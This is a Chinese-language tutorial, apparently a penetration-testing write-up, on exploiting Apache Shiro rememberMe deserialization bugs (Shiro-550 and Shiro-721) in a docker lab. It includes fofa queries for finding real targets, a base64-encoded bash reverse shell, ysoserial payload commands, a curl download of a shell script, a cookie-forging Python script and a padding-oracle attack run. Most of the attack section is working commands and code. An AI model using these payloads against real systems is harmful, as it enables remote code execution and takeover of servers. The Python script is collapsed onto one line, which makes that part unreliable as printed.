Shiro简介
Apache Shiro是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、
加密和会话管理,可用于保护任何应用程序的安全。
Shiro提供了应用程序安全性API来执行以下方面:
1.身份验证:证明用户身份,通常称为用户"登录";
2.授权:访问控制;
3.密码术:保护或隐藏数据以防窥视;
4.会话管理:每个用户的时间敏感状态。
历史漏洞
Shiro rememberMe反序列化远程代码执行漏洞 Apache Shiro <= 1.2.4
Shiro-721 rememberMe 反序列化远程代码执行漏洞 Apache Shiro <= 1.4.1
漏洞发现
Shiro组件发现
在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe ,说
明使用了 Shiro 组件。
Shiro漏洞搜索
通过fofa、zoomeye、shodan这类平台搜索相关特征来发现目标。
例如fofa的搜索关键词:
header="rememberme=deleteMe"
header="shiroCookie"
漏洞检测工具
https://github.com/fupinglee/ShiroScan
https://github.com/sv3nbeast/ShiroScan
https://github.com/insightglacier/Shiro_exploit
https://github.com/Ares-X/shiro-exploit
Shiro-550漏洞原理
原理:Apache Shiro 框架提供了记住密码的功能( RememberMe ),关闭浏览器再次访问
时无需再登录即可访问。用户登录成功后用户信息会经过加密编码后存储在 cookie中。在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意 Payload ,就可以将流程走通,触发危险的 Java 反序列化,从而导致远程命令执行漏洞。
shiro 默认使用了 CookieRememberMeManager ,其处理cookie的流程是:获取rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化 。但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为 cookie 的rememberMe 字段发送。 Shiro 将 rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。
只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。
Shiro-550漏洞复现
docker靶场环境搭建
cd shiro/
ls
cd CVE-2016-4437
docker-compose up -d
浏览器访问靶场。
使用burpsuite抓取登录包。
爆破key值。
python shiro_exploit.py -u http://171.16.1.106:8080/doLogin
爆破出来的key值为:kPH+bIxk5D2deZiIxcaaaA==
选择一个端口进行监听。
nc -lvvp 9999
利用反序列化工具生成payload。
bash转换链接:https://ares-x.com/tools/runtime-exec
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzEuMTYuMS4xMDUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzEuMTYuMS4xMDUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
执行 shiro-exp.py 脚本构造生成 cookie
查看脚本中的参数值是否正确。
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
python shiro.py vps_ip:11111
使用burpsuite修改数据包,将生成的remember复制进去。
点击send,返回监听端查看是否反弹shell。
成功反弹了shell。
也可以使用脚本的方法:
将反弹shell的命令写入shell脚本中:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections4 “curl http://171.16.1.105/zsy.sh -o /tmp/zsy.sh”
之后操作跟上边的一样。
Shiro-721漏洞原理
Shiro rememberMe 反序列化远程代码执行漏洞
原理:由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding
Oracle 遍历 key 。
影响版本
Apache Shiro <= 1.4.1
Shiro-721漏洞复现
docker搭建靶场环境。
访问靶场地址。
使用正确的用户和密码,勾选rememberMe,使用burp代理,获取返回的rememberMe值。
使用DNSlog获取临时域名。
使用ysoserial工具生成payload。
java -jar ysoserial.jar CommonsBeanutils1 "ping 1075l1.dnslog.cn" > payload.class
生成的文件在运行该脚本的目录下。
使用刚才burp获取到的rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击
脚本链接:Github:https://github.com/wuppp/shiro_rce_exp
运行脚本:
python shiro_exp.py http://171.16.1.106:8888 [rememberMeCookie] payload.class
python2 shiro_exp.py http://171.16.1.106:8888/PHh1FbfiWuR/CRYs2Os5fmYJbPtYD4V55kWHl41dNdfFSzSgjU0b+Z8DHtem51EHoW6bXJvMDkB7mZYJqa9Mc3EP16OnF4Dt/IuGbrxjKf0OgOO/5Y+jyFJi1h2clJz+myysxb8WTc+xruezMJya8ykcePax3H8GOLJMS0ACO0r/g1sr0x0MYynxbCUMr3fiK8c3OWlsHSyTx0QERj01dzTV9MGW5+J8SGsItQPCpr0vfya/n3TC4NhVwbEj1uTWRj88whIL6dJODo1FLGzI+tR2wMXGvtGTVxSJJjAMvMsJpbEEsO0Vl1sdsIsllA8EWqCSbHuX/zFpCHkfdl7/CSE9OCy4gu68p6W2kTMTcr2OqMrdJN/dUbQmriznoTuVDf1OiacWeP3J/XlOA35CvrrZMsSQF7G9lial9Zqenc1mz+UCUcmk5cwkVh9qTUehpKaVwGO9i34ySLlVjrRTxg4mfa1ZwTKkKs39XZL4MwSHYh5/nr/jvqLKbHwkkuLh payload.class
--------------------------------------------------中间需要很长时间(几个小时)-------------------------------------------------------------
爆破成功,返回cookie。
再次访问http://171.16.1.106:8888/,用burp抓包,添加刚才爆破出的remeberMe值。
到http://www.dnslog.cn/查看,返回IP。
说明ping命令执行成功。